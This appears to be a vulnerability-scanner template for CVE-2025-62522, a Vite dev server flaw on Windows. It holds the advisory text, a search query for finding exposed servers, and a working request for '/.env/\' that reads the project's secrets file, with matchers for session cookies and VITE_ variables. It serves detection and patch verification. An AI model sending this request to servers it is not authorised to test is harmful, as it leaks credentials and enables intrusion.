Vite - Information Disclosure

id: CVE-2025-62522

info:
  name: Vite - Information Disclosure
  author: DhiyaneshDK
  severity: medium
  description: |
    Vite is a frontend tooling framework for JavaScript.In versions from 2.9.18 to before 3.0.0, 3.2.9 to before 4.0.0, 4.5.3 to before 5.0.0, 5.2.6 to before 5.4.21, 6.0.0 to before 6.4.1, 7.0.0 to before 7.0.8, and 7.1.0 to before 7.1.11, files denied by server.fs.deny were sent if the URL ended with \ when the dev server is running on Windows. Only apps explicitly exposing the Vite dev server to the network and running the dev server on Windows were affected. This issue has been patched in versions 5.4.21, 6.4.1, 7.0.8, and 7.1.11.
  impact: |
    Remote attackers can access files denied by server.fs.deny, leading to sensitive information disclosure.
  remediation: |
    Update to versions 5.4.21, 6.4.1, 7.0.8, or 7.1.11 or later.
  reference:
    - https://github.com/vitejs/vite/security/advisories/GHSA-93m4-6634-74q7
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="/@vite/client"
  tags: cve,cve2025,env,vite,disclosure,vuln

http:
  - raw:
      - |
        GET /.env/\ HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_any(body, "SESSDATA=","WEIBO_COOKIE=") || contains(body, "VITE_")'
          - '!contains(tolower(body), "<html")'
        condition: and